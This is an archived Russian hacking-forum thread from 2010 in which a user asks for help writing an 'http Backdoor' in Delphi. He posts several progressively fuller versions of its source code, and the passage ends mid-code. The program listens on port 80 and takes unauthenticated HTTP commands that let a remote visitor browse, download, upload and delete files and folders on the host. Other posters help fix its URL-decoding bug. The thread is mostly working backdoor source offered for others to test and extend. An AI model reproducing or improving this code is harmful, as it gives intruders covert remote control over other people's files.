Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

прошу помощи в написании http Backdoor

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> прошу помощи в написании http Backdoor
Имя
Сообщение << Старые топики   Новые топики >>
прошу помощи в написании http Backdoor - 2010-05-29 00:04:11.953333   
rat_splinter

Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
Доброго времени суток Хакеры =) вобщем решил на днях откапать какой нибуть простенький Backdoor для работы с файлами по HTTP.
В иноге нинашол ничего =) хатя скарее всего так искал… единственное, что приглянулось- это библиотека SLESH'a - "Micro Web Server DLL" http://slesh.name/?act=releases&subact=show&nid=17
но т.к. в C++ я совершенно ничего не смылю- решил написать штото похожее на delphi…
Собственно вот урезаная часть (та которая отвечает за "гулянию" по коталогам) того что получилось….
program web_root; uses winsock2,windows,sysutils; const LIST_PORT=80; TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос faDirectory=$00000010; type TFILE_PACKET=record sock:dword; fh:dword; end; PFILE_PACKET=^TFILE_PACKET; var WSData:TWSAData; lsocket,csocket:dword; size_caddr:integer; caddr,laddr:sockaddr_in; MainBuf:string; tmpbuf:pchar; len:integer; StopFlag:boolean; StartTime,NowTime:dword; cmd:dword; MainDir:pchar; fn:string; len0:integer; function StrToInt(const s:string):integer; var i:integer; begin Val(s,result,i); end; function IntTostr(i:integer):string; begin str(i,result); end; procedure SendToClient(sock:tsocket;msg:string); begin send(sock,msg[1],length(msg),0); end; procedure ListDir(sock:tsocket;folder:string); var folder2,s:string; FindData : TWin32FindData; FindHandle : THandle; Code:integer; begin s:=folder+'*.*'; FindHandle := FindFirstFile(pchar(s), FindData); repeat s := FindData.cFileName; if (s='.') then begin continue; end; // убираем лишний пункт Code := GetFileAttributesA(pchar(folder+s)); //Code := GetFileAttributesW(StringToPWide(folder+s)); folder2:=folder; delete(folder2,1,length(maindir)); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code &lt;&gt; 0) then SendToClient(sock,'&lt;li&gt;[D] &lt;a href="/3/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); until not FindNextFile(FindHandle, FindData); end; function Header():string; begin result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10; end; function Location():string; begin result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10; end; function NotFound():string; begin result:='HTTP/1.0 404 Not Found'#13#10#13#10; end; function Body():string; begin result:='&lt;html&gt;&lt;head&gt;&lt;title&gt;web_root By 2FED v 1.0b&lt;/title&gt;&lt;style type="text/css"&gt;&lt;!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body text="white" bgcolor="black"&gt;'; end; begin maindir:= pchar(ExtractFilePath(ParamStr(0))); // maindir:=pchar('C:\'); if WSAStartup($202, WSData)=-1 then exit; size_caddr:=sizeof(caddr); lsocket:=socket(AF_INET, SOCK_STREAM, 0); if lsocket=INVALID_HANDLE_VALUE then exit; laddr.sin_family:=AF_INET; laddr.sin_port:=htons(LIST_PORT); laddr.sin_addr.s_addr:=INADDR_ANY; if bind(lsocket,@laddr, sizeof(laddr))&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; if listen(lsocket, $100)&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; getmem(tmpbuf,2048); while true do begin csocket:=accept(lsocket,caddr,size_caddr); MainBuf:=''; StopFlag:=false; StartTime:=GetTickCount(); repeat len:=recv(csocket,tmpbuf^,2048,0); if len&gt;0 then MainBuf:=MainBuf+copy(tmpbuf,0,len); if pos(#13#10#13#10,MainBuf)&gt;0 then StopFlag:=true; NowTime:=GetTickCount(); until (len&lt;=0) or (StopFlag) or (NowTime-StartTime&gt;TIME_LIMIT); if StopFlag then begin delete(MainBuf,1,pos('GET /',MainBuf)+4); cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1)); case cmd of 0:begin // Start SendToClient(csocket,header()); SendToClient(csocket,body()); ListDir(csocket,maindir); CloseSocket(csocket); end; 3:begin // OPEN DIR SendToClient(csocket,header()); SendToClient(csocket,body()); fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4); repeat len0:=Pos('/', fn); if len0&lt;&gt;0 then fn[len0]:='\'; until (len0=0); ListDir(csocket,maindir+fn); CloseSocket(csocket); end; else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end. В принципи работает- но совершенно не воспринимает русские имена папок и пробелы… Очень прошу, подскажите в чём ошибка…
сам думаю что всё дело в том что имена папок которые приходят по url нужно конвертить… но только во что и как-низнаю…
З.Ы: Да , кстати если всётаки у когото есть сорцы чегото похожего на библиотеку SLESH'a на delphi плиз-поделитесь…
Post #: 1
RE: прошу помощи в написании http Backdoor - 2010-05-29 12:52:26.740000   
sbk

Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
Может поможет http://ru.wikipedia.org/wiki/URL#.D0.9A.D0.BE.D0.B4.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_URL
Post #: 2
RE: прошу помощи в написании http Backdoor - 2010-05-29 16:45:46.206666   
rat_splinter

Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
СПАСИБО! помагло! вобщем по папкам теперь нормально перемещается, а вот со скачиванием файлов- проблема:
если качать файл который находится в корне папки где находится сама програма- то всё оки! ,
а если путь к файлу например такой \444\новая папка\ff.txt то и файл скачивается с именем новая папкаff.txt
собственно сам код:program web_root; uses winsock2, windows, sysutils, Unit1 in 'Unit1.pas'; const LIST_PORT=80; TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос faDirectory=$00000010; type TFILE_PACKET=record sock:dword; fh:dword; end; PFILE_PACKET=^TFILE_PACKET; var WSData:TWSAData; lsocket,csocket:dword; size_caddr:integer; caddr,laddr:sockaddr_in; MainBuf:string; tmpbuf:pchar; len:integer; StopFlag:boolean; StartTime,NowTime:dword; cmd:dword; MainDir:pchar; fn:string; len0:integer; function StrToInt(const s:string):integer; var i:integer; begin Val(s,result,i); end; function IntTostr(i:integer):string; begin str(i,result); end; procedure SendToClient(sock:tsocket;msg:string); begin send(sock,msg[1],length(msg),0); end; procedure ListDir(sock:tsocket;folder:string); var folder2,s:string; FindData : TWin32FindData; FindHandle : THandle; Code:integer; begin s:=folder+'*.*'; FindHandle := FindFirstFile(pchar(s), FindData); repeat s := FindData.cFileName; if (s='.') then begin continue; end; // убираем лишний пункт Code := GetFileAttributesA(pchar(folder+s)); //Code := GetFileAttributesW(StringToPWide(folder+s)); folder2:=folder; delete(folder2,1,length(maindir)); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code &lt;&gt; 0) then SendToClient(sock,'&lt;li&gt;[D] &lt;a href="/2/'+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/3/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then SendToClient(sock,'&lt;li&gt;[F] &lt;a href="/2/'+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/5/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); until not FindNextFile(FindHandle, FindData); end; function Header():string; begin result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10; end; procedure FileProc(FP:PFILE_PACKET);stdcall; var buf:array[0..2048] of byte; rb:dword; begin repeat ReadFile(FP^.fh,buf,2048,rb,nil); if (rb&gt;0) and (rb&lt;2049) then send(FP^.sock,buf,rb,0); until (rb&lt;1) or (rb&gt;2048); CloseHandle(FP^.fh); CloseSocket(FP^.sock); freemem(FP); end; procedure GetFile(sock:tsocket;name:string); var thId:dword; f:dword; FP:PFILE_PACKET; fs:dword; begin f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if f&lt;&gt;INVALID_HANDLE_VALUE then begin GetMem(FP,sizeof(TFILE_PACKET)); FP^.sock:=sock; FP^.fh:=f; fs:=GetFileSize(FP^.fh,nil); SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+fn+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10); CreateThread(nil,0,@FileProc,FP,0,thid); end; end; function Location():string; begin result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10; end; function NotFound():string; begin result:='HTTP/1.0 404 Not Found'#13#10#13#10; end; function Body():string; begin result:='&lt;html&gt;&lt;head&gt;&lt;title&gt;web_root By 2FED v 1.0b&lt;/title&gt;&lt;style type="text/css"&gt;&lt;!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body text="white" bgcolor="black"&gt;'; end; function Menu():string; begin result:='&lt;a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''&gt;Stop Program&lt;/a&gt;&lt;br&gt;'; result:=result+'&lt;a href="/0/"&gt;new file&lt;/a&gt;&lt;hr&gt;'; end; begin maindir:= pchar(ExtractFilePath(ParamStr(0))); // maindir:=pchar('C:\'); if WSAStartup($202, WSData)=-1 then exit; size_caddr:=sizeof(caddr); lsocket:=socket(AF_INET, SOCK_STREAM, 0); if lsocket=INVALID_HANDLE_VALUE then exit; laddr.sin_family:=AF_INET; laddr.sin_port:=htons(LIST_PORT); laddr.sin_addr.s_addr:=INADDR_ANY; if bind(lsocket,@laddr, sizeof(laddr))&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; if listen(lsocket, $100)&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; getmem(tmpbuf,2048); while true do begin csocket:=accept(lsocket,caddr,size_caddr); MainBuf:=''; StopFlag:=false; StartTime:=GetTickCount(); repeat len:=recv(csocket,tmpbuf^,2048,0); if len&gt;0 then MainBuf:=MainBuf+copy(tmpbuf,0,len); if pos(#13#10#13#10,MainBuf)&gt;0 then StopFlag:=true; NowTime:=GetTickCount(); until (len&lt;=0) or (StopFlag) or (NowTime-StartTime&gt;TIME_LIMIT); if StopFlag then begin delete(MainBuf,1,pos('GET /',MainBuf)+4); cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1)); case cmd of 0:begin // Start SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); ListDir(csocket,maindir); CloseSocket(csocket); end; 1:begin // PROGRAM STOPED SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,'PROGRAM STOPED'); CloseSocket(csocket); ExitProcess(0); end; 2:begin //DELET FILE delete(MainBuf,1,pos('/',MainBuf)); fn:=copy(MainBuf,1,pos('/',MainBuf)-1); DeleteFile(pchar(maindir+fn)); SendToClient(csocket,Location()); CloseSocket(csocket); end; 3:begin // OPEN DIR SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4); repeat len0:=Pos('/', fn); if len0&lt;&gt;0 then fn[len0]:='\'; until (len0=0); fn:=UrlDecode(fn); fn:=Utf8ToAnsi(fn); MessageBox(0, PChar(fn),PChar('WARNING!'), 0); ListDir(csocket,maindir+fn); CloseSocket(csocket); end; 5:begin // DOWNLOAD fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); repeat len0:=Pos('/', fn); if len0&lt;&gt;0 then fn[len0]:='\'; until (len0=0); fn:=UrlDecode(fn); fn:=Utf8ToAnsi(fn); GetFile(csocket,maindir+fn); end; else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end. unit Unit1; interface function UrlDecode(const Str: string): string; implementation function HexToChar(W: Word): Char; asm cmp ah, 030h jl @@error cmp ah, 039h jg @@10 sub ah, 30h jmp @@30 @@10: cmp ah, 041h jl @@error cmp ah, 046h jg @@20 sub ah, 041h add ah, 00Ah jmp @@30 @@20: cmp ah, 061h jl @@error cmp al, 066h jg @@error sub ah, 061h add ah, 00Ah @@30: cmp al, 030h jl @@error cmp al, 039h jg @@40 sub al, 030h jmp @@60 @@40: cmp al, 041h jl @@error cmp al, 046h jg @@50 sub al, 041h add al, 00Ah jmp @@60 @@50: cmp al, 061h jl @@error cmp al, 066h jg @@error sub al, 061h add al, 00Ah @@60: shl al, 4 or al, ah ret @@error: xor al, al end; function GetCh(P: PChar; var Ch: Char): Char; begin Ch := P^; Result := Ch; end; { GetCh } function UrlDecode(const Str: string): string; var P : PChar; Ch : Char; begin Result := ''; P := @Str[1]; while GetCh(P, Ch) &lt;&gt; #0 do begin case Ch of '+' : Result := Result + ' '; '%' : begin Inc(P); Result := Result + HexToChar(PWord(P)^); Inc(P); end; else Result := Result + Ch; end; Inc(P); end; end; end.
Post #: 3
RE: прошу помощи в написании http Backdoor - 2010-05-29 18:49:59.023333   
rat_splinter

Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
Уф… Таки дописал =) …. Вобщем выкладывую первую, так сказать тестовую версию того что получилось… функционал пока что скудный…. В ближайшее время хочу добавить :
[1] удаление папок
[2] выводить размер файлов
[3] заливка файлов

Ну и собственно сам исходник….program web_root; uses winsock2, windows, sysutils, Unit1 in 'Unit1.pas'; const LIST_PORT=80; TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос faDirectory=$00000010; type TFILE_PACKET=record sock:dword; fh:dword; end; PFILE_PACKET=^TFILE_PACKET; var WSData:TWSAData; lsocket,csocket:dword; size_caddr:integer; caddr,laddr:sockaddr_in; MainBuf:string; tmpbuf:pchar; len:integer; StopFlag:boolean; StartTime,NowTime:dword; cmd:dword; MainDir:pchar; fn:string; function StrToInt(const s:string):integer; var i:integer; begin Val(s,result,i); end; function IntTostr(i:integer):string; begin str(i,result); end; function UrlToStr(url:string):string; var len3:integer; begin repeat len3:=Pos('/', url); if len3&lt;&gt;0 then url[len3]:='\'; until (len3=0); result:=Utf8ToAnsi(UrlDecode(url)); end; procedure SendToClient(sock:tsocket;msg:string); begin send(sock,msg[1],length(msg),0); end; procedure ListDir(sock:tsocket;folder:string); var folder2,s:string; FindData : TWin32FindData; FindHandle : THandle; Code:integer; begin s:=folder+'*.*'; FindHandle := FindFirstFile(pchar(s), FindData); repeat s := FindData.cFileName; if (s='.') then begin continue; end; // убираем лишний пункт Code := GetFileAttributesA(pchar(folder+s)); //Code := GetFileAttributesW(StringToPWide(folder+s)); folder2:=folder; delete(folder2,1,length(maindir)); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code &lt;&gt; 0) then SendToClient(sock,'&lt;li&gt;[D] &lt;a href="/2/'+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/3/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then SendToClient(sock,'&lt;li&gt;[F] &lt;a href="/2/'+folder2+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/5/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); until not FindNextFile(FindHandle, FindData); end; function Header():string; begin result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10; end; procedure FileProc(FP:PFILE_PACKET);stdcall; var buf:array[0..2048] of byte; rb:dword; begin repeat ReadFile(FP^.fh,buf,2048,rb,nil); if (rb&gt;0) and (rb&lt;2049) then send(FP^.sock,buf,rb,0); until (rb&lt;1) or (rb&gt;2048); CloseHandle(FP^.fh); CloseSocket(FP^.sock); freemem(FP); end; procedure GetFile(sock:tsocket;name:string); var thId:dword; f:dword; FP:PFILE_PACKET; fs:dword; len2:integer; filen:string; begin f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if f&lt;&gt;INVALID_HANDLE_VALUE then begin GetMem(FP,sizeof(TFILE_PACKET)); FP^.sock:=sock; FP^.fh:=f; fs:=GetFileSize(FP^.fh,nil); len2:=length(name); repeat len2:=len2-1; until (name[len2]='\'); filen:=copy(name,len2+1,length(name)); SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+filen+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10); CreateThread(nil,0,@FileProc,FP,0,thid); end; end; function Location():string; begin result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10; end; function NotFound():string; begin result:='HTTP/1.0 404 Not Found'#13#10#13#10; end; function Body():string; begin result:='&lt;html&gt;&lt;head&gt;&lt;title&gt;web_root By 2FED v 1.2b&lt;/title&gt;&lt;style type="text/css"&gt;&lt;!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body text="white" bgcolor="black"&gt;'; end; function Menu():string; begin result:='&lt;a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''&gt;Stop Program&lt;/a&gt;&lt;br&gt;'; result:=result+'&lt;a href="/0/"&gt;new file&lt;/a&gt;&lt;hr&gt;'; end; begin maindir:= pchar(ExtractFilePath(ParamStr(0))); // maindir:=pchar('C:\'); if WSAStartup($202, WSData)=-1 then exit; size_caddr:=sizeof(caddr); lsocket:=socket(AF_INET, SOCK_STREAM, 0); if lsocket=INVALID_HANDLE_VALUE then exit; laddr.sin_family:=AF_INET; laddr.sin_port:=htons(LIST_PORT); laddr.sin_addr.s_addr:=INADDR_ANY; if bind(lsocket,@laddr, sizeof(laddr))&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; if listen(lsocket, $100)&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; getmem(tmpbuf,2048); while true do begin csocket:=accept(lsocket,caddr,size_caddr); MainBuf:=''; StopFlag:=false; StartTime:=GetTickCount(); repeat len:=recv(csocket,tmpbuf^,2048,0); if len&gt;0 then MainBuf:=MainBuf+copy(tmpbuf,0,len); if pos(#13#10#13#10,MainBuf)&gt;0 then StopFlag:=true; NowTime:=GetTickCount(); until (len&lt;=0) or (StopFlag) or (NowTime-StartTime&gt;TIME_LIMIT); if StopFlag then begin delete(MainBuf,1,pos('GET /',MainBuf)+4); cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1)); case cmd of 0:begin // Start SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); ListDir(csocket,maindir); CloseSocket(csocket); end; 1:begin // PROGRAM STOPED SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,'PROGRAM STOPED'); CloseSocket(csocket); ExitProcess(0); end; 2:begin //DELET FILE fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); fn:=UrlToStr(fn); DeleteFile(pchar(maindir+fn)); SendToClient(csocket,Location()); CloseSocket(csocket); end; 3:begin // OPEN DIR SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4); fn:=UrlToStr(fn); ListDir(csocket,maindir+fn); CloseSocket(csocket); end; 5:begin // DOWNLOAD fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); fn:=UrlToStr(fn); GetFile(csocket,maindir+fn); end; else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end.
unit Unit1; interface function UrlDecode(const Str: string): string; implementation function HexToChar(W: Word): Char; asm cmp ah, 030h jl @@error cmp ah, 039h jg @@10 sub ah, 30h jmp @@30 @@10: cmp ah, 041h jl @@error cmp ah, 046h jg @@20 sub ah, 041h add ah, 00Ah jmp @@30 @@20: cmp ah, 061h jl @@error cmp al, 066h jg @@error sub ah, 061h add ah, 00Ah @@30: cmp al, 030h jl @@error cmp al, 039h jg @@40 sub al, 030h jmp @@60 @@40: cmp al, 041h jl @@error cmp al, 046h jg @@50 sub al, 041h add al, 00Ah jmp @@60 @@50: cmp al, 061h jl @@error cmp al, 066h jg @@error sub al, 061h add al, 00Ah @@60: shl al, 4 or al, ah ret @@error: xor al, al end; function GetCh(P: PChar; var Ch: Char): Char; begin Ch := P^; Result := Ch; end; { GetCh } function UrlDecode(const Str: string): string; var P : PChar; Ch : Char; begin Result := ''; P := @Str[1]; while GetCh(P, Ch) &lt;&gt; #0 do begin case Ch of '+' : Result := Result + ' '; '%' : begin Inc(P); Result := Result + HexToChar(PWord(P)^); Inc(P); end; else Result := Result + Ch; end; Inc(P); end; end; end. если кому не жалко времени- прошу потестить и указать на ошибки, ну или места где можно было бы по красивее написать…
З.Ы. если когото идея заинтересует и захочет помоч с дальнейшим наращиванием функционала - стучите 50-832-191 ну или в пм пишите
Post #: 4
RE: прошу помощи в написании http Backdoor - 2010-06-02 00:50:42.816666   
rat_splinter

Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
Ну вот , реализовал что хотел, теперь эта вся байда умеет:
[1]перемещение по папкам
[2]скачивание и просмотр файлов
[3]удаление файлов\каталогов
[4]Upload файлов…
С последним пунктом пока не всё так хорошо как хателось бы, а именно: заливаются толька тхт файлы,и только с оперы, приэтом закаченый файл какимто образом на 1байт больше чем тот который отправлялся… Скарее всего всё из за того что я использую TStrings… сегодня попробую переписать на WriteFile… правда пока ни очень понимаю как пользоваться этой функцией(если кто подскажет-буду очень примногоблагодарен)…
Ни и сам исходник:
program web_root; uses winsock2, windows, sysutils, classes, Unit1 in 'Unit1.pas'; const LIST_PORT=80; TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос faDirectory=$00000010; type TFILE_PACKET=record sock:dword; fh:dword; end; PFILE_PACKET=^TFILE_PACKET; var WSData:TWSAData; lsocket,csocket:dword; size_caddr:integer; caddr,laddr:sockaddr_in; MainBuf:string; tmpbuf:pchar; len:integer; StopFlag:boolean; StartTime,NowTime:dword; cmd:dword; MainDir:pchar; save2,save1,fn:string; f:TStrings; function StrToInt(const s:string):integer; var i:integer; begin Val(s,result,i); end; function IntTostr(i:integer):string; begin str(i,result); end; function UrlToStr(url:string):string; var len3:integer; begin repeat len3:=Pos('/', url); if len3&lt;&gt;0 then url[len3]:='\'; until (len3=0); result:=Utf8ToAnsi(UrlDecode(url)); end; procedure SendToClient(sock:tsocket;msg:string); begin send(sock,msg[1],length(msg),0); end; procedure ListDir(sock:tsocket;folder:string); var size,folder2,s:string; FindData : TWin32FindData; FindHandle : THandle; Code:integer; begin //MessageBox(0, PChar(folder),PChar('WARNING!'), 0); folder2:=folder; delete(folder2,1,length(maindir)); SendToClient(sock,'&lt;a href="/6/'+folder2+'"&gt;upload file&lt;/a&gt;&lt;hr&gt;'); FindHandle := FindFirstFile(pchar(folder+'*.*'), FindData); repeat s := FindData.cFileName; if (s='.') then begin continue; end; // убираем лишний пункт Code := GetFileAttributesA(pchar(folder+s)); //Code := GetFileAttributesW(StringToPWide(folder+s)); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code &lt;&gt; 0) then SendToClient(sock,'[D] &lt;a href="/4/'+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/3/'+folder2+s+'/"&gt;'+s+'&lt;/a&gt;&lt;br&gt;'); if(Code &lt;&gt; -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then begin if FindData.nFileSizeLow&gt;1000000 then size:=inttostr(FindData.nFileSizeLow div 1000000)+' Mbyte' else if FindData.nFileSizeLow&gt;1000 then size:=inttostr(FindData.nFileSizeLow div 1000)+' Kbyte' else size:=inttostr(FindData.nFileSizeLow)+' byte'; SendToClient(sock,'[F] &lt;a href="/2/'+folder2+s+'/"&gt;[Del]&lt;/a&gt;&nbsp;&nbsp;&lt;a href="/5/'+folder2+s+'/"&gt;'+s+' ('+size+')&lt;/a&gt;&lt;br&gt;'); end; until not FindNextFile(FindHandle, FindData); end; function DeleteDir(sDir : string):string; var iIndex: Integer; SearchRec: TSearchRec; sFileName: string; begin sDir := sDir + '\*.*'; iIndex := FindFirst(sDir, faAnyFile, SearchRec); while iIndex = 0 do begin sFileName := ExtractFileDir(sDir)+'\'+SearchRec.name; if SearchRec.Attr = faDirectory then begin if (SearchRec.name &lt;&gt; '' ) and (SearchRec.name &lt;&gt; '.') and (SearchRec.name &lt;&gt; '..') then DeleteDIR(sFileName); end else begin if SearchRec.Attr &lt;&gt; faArchive then FileSetAttr(sFileName, faArchive); DeleteFile(sFileName); end; iIndex := FindNext(SearchRec); end; FindClose(SearchRec); RemoveDir(ExtractFileDir(sDir)); end; function Header():string; begin result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10; end; procedure FileProc(FP:PFILE_PACKET);stdcall; var buf:array[0..2048] of byte; rb:dword; begin repeat ReadFile(FP^.fh,buf,2048,rb,nil); if (rb&gt;0) and (rb&lt;2049) then send(FP^.sock,buf,rb,0); until (rb&lt;1) or (rb&gt;2048); CloseHandle(FP^.fh); CloseSocket(FP^.sock); freemem(FP); end; procedure GetFile(sock:tsocket;name:string); var thId:dword; f:dword; FP:PFILE_PACKET; fs:dword; len2:integer; filen:string; begin f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if f&lt;&gt;INVALID_HANDLE_VALUE then begin GetMem(FP,sizeof(TFILE_PACKET)); FP^.sock:=sock; FP^.fh:=f; fs:=GetFileSize(FP^.fh,nil); len2:=length(name); repeat len2:=len2-1; until (name[len2]='\'); filen:=copy(name,len2+1,length(name)); SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+filen+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10); CreateThread(nil,0,@FileProc,FP,0,thid); end; end; function Location():string; begin result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10; end; function NotFound():string; begin result:='HTTP/1.0 404 Not Found'#13#10#13#10; end; function Body():string; begin result:='&lt;html&gt;&lt;head&gt;&lt;title&gt;web_root By 2FED v 1.2b&lt;/title&gt;&lt;style type="text/css"&gt;&lt;!--a {color:#00EE00;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body text="white" bgcolor="black"&gt;'; end; function Menu():string; begin result:='&lt;a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''&gt;Stop Program&lt;/a&gt;&lt;br&gt;'; //result:=result+'&lt;a href="/0/"&gt;new file&lt;/a&gt;&lt;hr&gt;'; end; function UpFile():string; begin result:='&lt;form action="upload.php" method="post" enctype="multipart/form-data"&gt;'+ '&lt;input type="file" name="filename"&gt;&lt;br&gt;'+ '&lt;input type="submit" value="Загрузить"&gt;&lt;br&gt;'+ '&lt;/form&gt;'#13#10#13#10; end; var len6,len4,len5:integer; na4inka,filename,save_hesh:string; begin maindir:= pchar(ExtractFilePath(ParamStr(0))); // maindir:=pchar('C:\'); if WSAStartup($202, WSData)=-1 then exit; size_caddr:=sizeof(caddr); lsocket:=socket(AF_INET, SOCK_STREAM, 0); if lsocket=INVALID_HANDLE_VALUE then exit; laddr.sin_family:=AF_INET; laddr.sin_port:=htons(LIST_PORT); laddr.sin_addr.s_addr:=INADDR_ANY; if bind(lsocket,@laddr, sizeof(laddr))&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; if listen(lsocket, $100)&lt;&gt;0 then begin CloseSocket(lsocket); exit; end; getmem(tmpbuf,2048); while true do begin csocket:=accept(lsocket,caddr,size_caddr); MainBuf:=''; StopFlag:=false; StartTime:=GetTickCount(); repeat len:=recv(csocket,tmpbuf^,2048,0); if len&gt;0 then MainBuf:=MainBuf+copy(tmpbuf,0,len); if pos(#13#10#13#10,MainBuf)&gt;0 then StopFlag:=true; NowTime:=GetTickCount(); until (len&lt;=0) or (StopFlag) or (NowTime-StartTime&gt;TIME_LIMIT); if StopFlag then begin // MessageBox(0, PChar(MainBuf),PChar('WARNING!'), 0); if (pos('POST /',MainBuf))&lt;&gt;0 then begin cmd:=7; end else begin delete(MainBuf,1,pos('GET /',MainBuf)+4); cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1)); end; case cmd of 0:begin // Start SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); ListDir(csocket,maindir); CloseSocket(csocket); end; 1:begin // PROGRAM STOPED SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,'PROGRAM STOPED'); CloseSocket(csocket); ExitProcess(0); end; 2:begin //DELET FILE fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); fn:=UrlToStr(fn); DeleteFile(pchar(maindir+fn)); SendToClient(csocket,Location()); 